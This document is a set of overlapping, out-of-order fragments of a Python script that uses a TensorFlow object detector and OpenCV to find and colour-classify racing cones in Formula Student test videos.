"#cap = cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance- DHBW Engineering with the eSleek15.mp4') frameCount",
"1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] * width),int(b[0] *",
"(x+w,y+h), (0, 255, 255), 7) cv2.putText(output_img, 'yellow cone', (int(b[1] * width),int(b[0] * height)-30),",
"result = detectCone1(candidate) # print(result) if result == 0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1]",
"# Set threshold for detection of cone for object detector threshold_cone = 0.5",
"of the objects. # Score is shown on the result image, together with",
"boxes = np.squeeze(boxes) scores = np.squeeze(scores) width = image_np.shape[1] height = image_np.shape[0] #",
"2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img,",
"cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img, (image_np.shape[1],image_np.shape[0]))) cv2.waitKey(1) cv2.destroyAllWindows()",
"on the result image, together with the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes",
"point and label map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb'",
"sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance- DHBW Engineering",
"(frozen) Tensorflow model into memory. detection_graph = tflow.Graph() with detection_graph.as_default(): od_graph_def = tflow.GraphDef()",
"Endurance- DHBW Engineering with the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count",
"Spain 2015 Endurance- DHBW Engineering with the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps =",
"print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange",
"= tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try the following videos: # 20180619_175221224 #",
"= boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x = int(b[1] * width)",
"np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents a part of the",
"2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img, (image_np.shape[1],image_np.shape[0]))) cv2.waitKey(1) cv2.destroyAllWindows() if __name__ == '__main__': mainLoop()",
"= np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x = int(b[1] * width) y = int(b[0]",
"# Definition of boxes [ymin, xmin, ymax, xmax] boxes = np.squeeze(boxes) scores =",
"image where a particular object was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score",
"# away from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student Spain 2015",
"'./frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no, of",
"cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance- DHBW Engineering with the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))",
"* from cone_img_processing2 import * import os # Set threshold for detection of",
"0), 7) cv2.putText(output_img, 'blue cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0,",
"# Expand dimensions since the model expects images to have shape: [1, None,",
"int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number = 1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess:",
"shade to brightness # 20180619_180755490 # towards sun # 20180619_180515860 # away from",
"cv2.LINE_AA) if result == 2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)),",
"was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how level of confidence",
"* width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('object detection',",
"'./frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no, of classes NUM_CLASSES =",
"= 0 img_number = 1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph,",
"detection_graph = tflow.Graph() with detection_graph.as_default(): od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:",
"sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of the results of",
"output_img = image_np.copy() for i in range(boxes.shape[0]): if np.all(boxes[i] == 0) or scores[i]",
"= np.squeeze(boxes) scores = np.squeeze(scores) width = image_np.shape[1] height = image_np.shape[0] # width,",
"= int(box_height * height) w = int(box_width * width) candidate = image_np[y:y+h, x:x+w]",
"model expects images to have shape: [1, None, None, 3] image_np_expanded = np.expand_dims(image_np,",
"#config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try the following videos: # 20180619_175221224 # shade to",
"= tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='')",
"from utils import label_map_util #from ConeDetection import * from cone_img_processing2 import * import",
"+ str(img_number) + '.jpg', candidate) # img_number = img_number + 1 y =",
"of a detection. # Definition of boxes [ymin, xmin, ymax, xmax] boxes =",
"# 20180619_175221224 # shade to brightness # 20180619_180755490 # towards sun # 20180619_180515860",
"# cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg', candidate) # img_number = img_number + 1",
"= y + 1 z = 0 result = detectCone1(candidate) # print(result) if",
"classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of the results of a detection. #",
"result == 1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (255,",
"frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number = 1000 with",
"detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents a part of the image where a particular",
"shown on the result image, together with the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0')",
"* width),int(b[0] * height)), (x+w,y+h), (255, 0, 0), 7) cv2.putText(output_img, 'blue cone', (int(b[1]",
"None, 3] image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents",
"cone for object detector threshold_cone = 0.5 #Set path to check point and",
"* height)), (x+w,y+h), (255, 0, 0), 7) cv2.putText(output_img, 'blue cone', (int(b[1] * width),int(b[0]",
"(0, 255, 255), 7) cv2.putText(output_img, 'yellow cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX,",
"with the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number",
"as sess: while count < frameCount: ret, image_np = cap.read() if ret ==",
"np.squeeze(scores) width = image_np.shape[1] height = image_np.shape[0] # width, height = cv2.GetSize(image_np) output_img",
"represents a part of the image where a particular object was detected. boxes",
"range(boxes.shape[0]): if np.all(boxes[i] == 0) or scores[i] < threshold_cone: continue b = boxes[i]",
"detector threshold_cone = 0.5 #Set path to check point and label map #PATH_TO_CKPT",
"the following videos: # 20180619_175221224 # shade to brightness # 20180619_180755490 # towards",
"object detector threshold_cone = 0.5 #Set path to check point and label map",
"int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS)) count = 0 img_number = 1000 with detection_graph.as_default(): #with",
"cv2.GetSize(image_np) output_img = image_np.copy() for i in range(boxes.shape[0]): if np.all(boxes[i] == 0) or",
"xmax] boxes = np.squeeze(boxes) scores = np.squeeze(scores) width = image_np.shape[1] height = image_np.shape[0]",
"one class, i.e. cone ## Load a (frozen) Tensorflow model into memory. detection_graph",
"num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes, num_detections) = sess.run( [boxes,",
"1, (0, 0, 0), 2, cv2.LINE_AA) if result == 1: print(\"Blue Cone\") cv2.rectangle(output_img,",
"1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img, (image_np.shape[1],image_np.shape[0]))) cv2.waitKey(1) cv2.destroyAllWindows() if",
"[1, None, None, 3] image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each",
"label map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS =",
"import * import os # Set threshold for detection of cone for object",
"= processFrame.image # Expand dimensions since the model expects images to have shape:",
"ConeDetection import * from cone_img_processing2 import * import os # Set threshold for",
"# print(result) if result == 0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] *",
"NUM_CLASSES = 1 #only one class, i.e. cone ## Load a (frozen) Tensorflow",
"[boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of the results of a",
"image_np.copy() for i in range(boxes.shape[0]): if np.all(boxes[i] == 0) or scores[i] < threshold_cone:",
"(int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if",
"fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map,",
"print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0, 255, 255), 7)",
"the objects. # Score is shown on the result image, together with the",
"# Each box represents a part of the image where a particular object",
"cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance- DHBW Engineering with the eSleek15.mp4')",
"0), 2, cv2.LINE_AA) if result == 1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0]",
"detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count <",
"as numpy import tensorflow as tflow from utils import label_map_util #from ConeDetection import",
"images to have shape: [1, None, None, 3] image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor",
"count = count + 1 # image_np = cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np",
"result == 0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0,",
"(x+w,y+h), (255, 0, 0), 7) cv2.putText(output_img, 'blue cone', (int(b[1] * width),int(b[0] * height)-30),",
"(x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1,",
"0, 0), 2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img, (image_np.shape[1],image_np.shape[0]))) cv2.waitKey(1) cv2.destroyAllWindows() if __name__ ==",
"w = int(box_width * width) candidate = image_np[y:y+h, x:x+w] # if count %",
"scores = np.squeeze(scores) width = image_np.shape[1] height = image_np.shape[0] # width, height =",
"= cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np = processFrame.image # Expand dimensions since the",
"= detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents a part of the image where a",
"= np.abs(float(b[2])-float(b[0])) x = int(b[1] * width) y = int(b[0] * height) h",
"threshold for detection of cone for object detector threshold_cone = 0.5 #Set path",
"cap.read() if ret == True: count = count + 1 # image_np =",
"Definition of boxes [ymin, xmin, ymax, xmax] boxes = np.squeeze(boxes) scores = np.squeeze(scores)",
"cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (255, 0, 0), 7) cv2.putText(output_img, 'blue",
"result image, together with the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0')",
"width) candidate = image_np[y:y+h, x:x+w] # if count % (2*fps) == 0: #",
"2015 Endurance- DHBW Engineering with the eSleek15.mp4') frameCount = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) fps = int(cap.get(cv2.CAP_PROP_FPS))",
"int(b[1] * width) y = int(b[0] * height) h = int(box_height * height)",
"category_index = label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop(): # Try the following",
"feed_dict={image_tensor: image_np_expanded}) # Visualization of the results of a detection. # Definition of",
"= np.squeeze(scores) width = image_np.shape[1] height = image_np.shape[0] # width, height = cv2.GetSize(image_np)",
"while count < frameCount: ret, image_np = cap.read() if ret == True: count",
"3] image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents a",
"memory. detection_graph = tflow.Graph() with detection_graph.as_default(): od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as",
"= label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def mainLoop():",
"1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (255, 0, 0),",
"count < frameCount: ret, image_np = cap.read() if ret == True: count =",
"== 1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (255, 0,",
"= detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes, num_detections) = sess.run( [boxes, scores,",
"height)), (x+w,y+h), (0, 255, 255), 7) cv2.putText(output_img, 'yellow cone', (int(b[1] * width),int(b[0] *",
"class, i.e. cone ## Load a (frozen) Tensorflow model into memory. detection_graph =",
"7) cv2.putText(output_img, 'orange cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0,",
"(int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange cone', (int(b[1] *",
"#with tflow.Session(graph=detection_graph) as sess: with tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count < frameCount:",
"towards sun # 20180619_180515860 # away from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap =",
"Load a (frozen) Tensorflow model into memory. detection_graph = tflow.Graph() with detection_graph.as_default(): od_graph_def",
"shape: [1, None, None, 3] image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') #",
"== 0: # # Save the image (optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number) +",
"== 2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0,165,255), 7)",
"# # Save the image (optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg', candidate)",
"* height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange cone', (int(b[1] * width),int(b[0] * height)-30),",
"detection_graph.as_default(): od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph)",
"* height)), (x+w,y+h), (0, 255, 255), 7) cv2.putText(output_img, 'yellow cone', (int(b[1] * width),int(b[0]",
"away from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance-",
"< threshold_cone: continue b = boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x",
"0 result = detectCone1(candidate) # print(result) if result == 0: print(\"Yellow Cone\") cv2.rectangle(output_img,",
"Tensorflow model into memory. detection_graph = tflow.Graph() with detection_graph.as_default(): od_graph_def = tflow.GraphDef() with",
"print(result) if result == 0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)),",
"# 20180619_180515860 # away from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student",
"= label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4)",
"## Load a (frozen) Tensorflow model into memory. detection_graph = tflow.Graph() with detection_graph.as_default():",
"the image (optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg', candidate) # img_number =",
"= cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance- DHBW Engineering with the",
"num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of the results of a detection. # Definition",
"7) cv2.putText(output_img, 'blue cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0,",
"part of the image where a particular object was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0')",
"Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (255, 0, 0), 7) cv2.putText(output_img,",
"width),int(b[0] * height)), (x+w,y+h), (0, 255, 255), 7) cv2.putText(output_img, 'yellow cone', (int(b[1] *",
"a part of the image where a particular object was detected. boxes =",
"np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0])) x = int(b[1] * width) y = int(b[0] *",
"Score is shown on the result image, together with the class label. scores",
"detectCone1(candidate) # print(result) if result == 0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0]",
"from cone_img_processing2 import * import os # Set threshold for detection of cone",
"0, 0), 7) cv2.putText(output_img, 'blue cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1,",
"= detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how level of confidence for each of",
"int(box_width * width) candidate = image_np[y:y+h, x:x+w] # if count % (2*fps) ==",
"is shown on the result image, together with the class label. scores =",
"with detection_graph.as_default(): od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read()",
"* width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\"",
"# 20180619_180755490 # towards sun # 20180619_180515860 # away from sun cap =",
"== True: count = count + 1 # image_np = cv2.resize(processFrame.image, (0,0), fx=0.5,",
"ret, image_np = cap.read() if ret == True: count = count + 1",
"tflow.Session(graph=detection_graph, config=tflow.ConfigProto(gpu_options=gpu_options)) as sess: while count < frameCount: ret, image_np = cap.read() if",
"width),int(b[0] * height)), (x+w,y+h), (0,165,255), 7) cv2.putText(output_img, 'orange cone', (int(b[1] * width),int(b[0] *",
"fx=0.5, fy=0.5) #image_np = processFrame.image # Expand dimensions since the model expects images",
"results of a detection. # Definition of boxes [ymin, xmin, ymax, xmax] boxes",
"for i in range(boxes.shape[0]): if np.all(boxes[i] == 0) or scores[i] < threshold_cone: continue",
"od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def,",
"+ 1 z = 0 result = detectCone1(candidate) # print(result) if result ==",
"cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] * width),int(b[0]",
"m\", (int(b[1] * width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA)",
"# if count % (2*fps) == 0: # # Save the image (optional)",
"detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes, scores, classes, num_detections) = sess.run(",
"of the image where a particular object was detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') #",
"'./test_scripts/label_map.pbtxt' #Define no, of classes NUM_CLASSES = 1 #only one class, i.e. cone",
"from sun cap = cv2.VideoCapture('./test_videos/20180619_175221224.mp4') #cap = cv2.VideoCapture('./test_videos/Formula Student Spain 2015 Endurance- DHBW",
"import * from cone_img_processing2 import * import os # Set threshold for detection",
"* height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img, (image_np.shape[1],image_np.shape[0])))",
"threshold_cone = 0.5 #Set path to check point and label map #PATH_TO_CKPT =",
"+ 1 # image_np = cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np = processFrame.image #",
"os # Set threshold for detection of cone for object detector threshold_cone =",
"width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img,",
"width),int(b[0] * height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if result ==",
"categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options) def",
"mainLoop(): # Try the following videos: # 20180619_175221224 # shade to brightness #",
"0), 2, cv2.LINE_AA) if result == 2: print(\"Orange Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0]",
"label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) gpu_options = tflow.GPUOptions(per_process_gpu_memory_fraction=0.4) #config=tflow.ConfigProto(gpu_options=gpu_options)",
"(0, 0, 0), 2, cv2.LINE_AA) cv2.putText(output_img, str(round(z,1))+\" m\", (int(b[1] * width),int(b[0] * height)-5),",
"label_map_util #from ConeDetection import * from cone_img_processing2 import * import os # Set",
"(0, 0, 0), 2, cv2.LINE_AA) if result == 1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1]",
"height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img, (image_np.shape[1],image_np.shape[0]))) cv2.waitKey(1)",
"* width) candidate = image_np[y:y+h, x:x+w] # if count % (2*fps) == 0:",
"into memory. detection_graph = tflow.Graph() with detection_graph.as_default(): od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT, 'rb')",
"candidate = image_np[y:y+h, x:x+w] # if count % (2*fps) == 0: # #",
"height)-5), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0), 2, cv2.LINE_AA) if result == 1: print(\"Blue",
"level of confidence for each of the objects. # Score is shown on",
"Expand dimensions since the model expects images to have shape: [1, None, None,",
"scores[i] < threshold_cone: continue b = boxes[i] box_width = np.abs(float(b[3])-float(b[1])) box_height = np.abs(float(b[2])-float(b[0]))",
"model into memory. detection_graph = tflow.Graph() with detection_graph.as_default(): od_graph_def = tflow.GraphDef() with tflow.gfile.GFile(PATH_TO_CKPT,",
"cv2.LINE_AA) if result == 1: print(\"Blue Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)),",
"a detection. # Definition of boxes [ymin, xmin, ymax, xmax] boxes = np.squeeze(boxes)",
"0), 2, cv2.LINE_AA) cv2.imshow('object detection', cv2.resize(output_img, (image_np.shape[1],image_np.shape[0]))) cv2.waitKey(1) cv2.destroyAllWindows() if __name__ == '__main__':",
"PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no, of classes NUM_CLASSES = 1 #only one class,",
"fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index",
"0: print(\"Yellow Cone\") cv2.rectangle(output_img, (int(b[1] * width),int(b[0] * height)), (x+w,y+h), (0, 255, 255),",
"height = cv2.GetSize(image_np) output_img = image_np.copy() for i in range(boxes.shape[0]): if np.all(boxes[i] ==",
"cone ## Load a (frozen) Tensorflow model into memory. detection_graph = tflow.Graph() with",
"count = 0 img_number = 1000 with detection_graph.as_default(): #with tflow.Session(graph=detection_graph) as sess: with",
"# Each score represent how level of confidence for each of the objects.",
"= 1 #only one class, i.e. cone ## Load a (frozen) Tensorflow model",
"'.jpg', candidate) # img_number = img_number + 1 y = y + 1",
"# Actual detection. (boxes, scores, classes, num_detections) = sess.run( [boxes, scores, classes, num_detections],",
"* height) h = int(box_height * height) w = int(box_width * width) candidate",
"tflow.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS)",
"width = image_np.shape[1] height = image_np.shape[0] # width, height = cv2.GetSize(image_np) output_img =",
"PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define no, of classes",
"= sess.run( [boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) # Visualization of the results",
"serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tflow.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES,",
"axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') # Each box represents a part of the image",
"import label_map_util #from ConeDetection import * from cone_img_processing2 import * import os #",
"candidate) # img_number = img_number + 1 y = y + 1 z",
"check point and label map #PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT =",
"represent how level of confidence for each of the objects. # Score is",
"1 # image_np = cv2.resize(processFrame.image, (0,0), fx=0.5, fy=0.5) #image_np = processFrame.image # Expand",
"= int(b[1] * width) y = int(b[0] * height) h = int(box_height *",
"i in range(boxes.shape[0]): if np.all(boxes[i] == 0) or scores[i] < threshold_cone: continue b",
"* import os # Set threshold for detection of cone for object detector",
"#PATH_TO_CKPT = './frozen_orange_net.pb' PATH_TO_CKPT = './frozen_weights/frozen_cone_graph_modified.pb' #PATH_TO_CKPT = './frozen_weights/mobilenet_v2_0.75_224_frozen.pb' PATH_TO_LABELS = './test_scripts/label_map.pbtxt' #Define",
"height) w = int(box_width * width) candidate = image_np[y:y+h, x:x+w] # if count",
"the class label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') #",
"cv2.putText(output_img, 'yellow cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 0, 0),",
"label. scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection.",
"Save the image (optional) # cv2.imwrite('./test_videos/cone_samples/' + str(img_number) + '.jpg', candidate) # img_number",
"255), 7) cv2.putText(output_img, 'yellow cone', (int(b[1] * width),int(b[0] * height)-30), cv2.FONT_HERSHEY_COMPLEX, 1, (0,",
"y = int(b[0] * height) h = int(box_height * height) w = int(box_width",
"scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') # Actual detection. (boxes,",
"tflow from utils import label_map_util #from ConeDetection import * from cone_img_processing2 import *",
"% (2*fps) == 0: # # Save the image (optional) # cv2.imwrite('./test_videos/cone_samples/' +",
"detected. boxes = detection_graph.get_tensor_by_name('detection_boxes:0') # Each score represent how level of confidence for",
"import os # Set threshold for detection of cone for object detector threshold_cone",
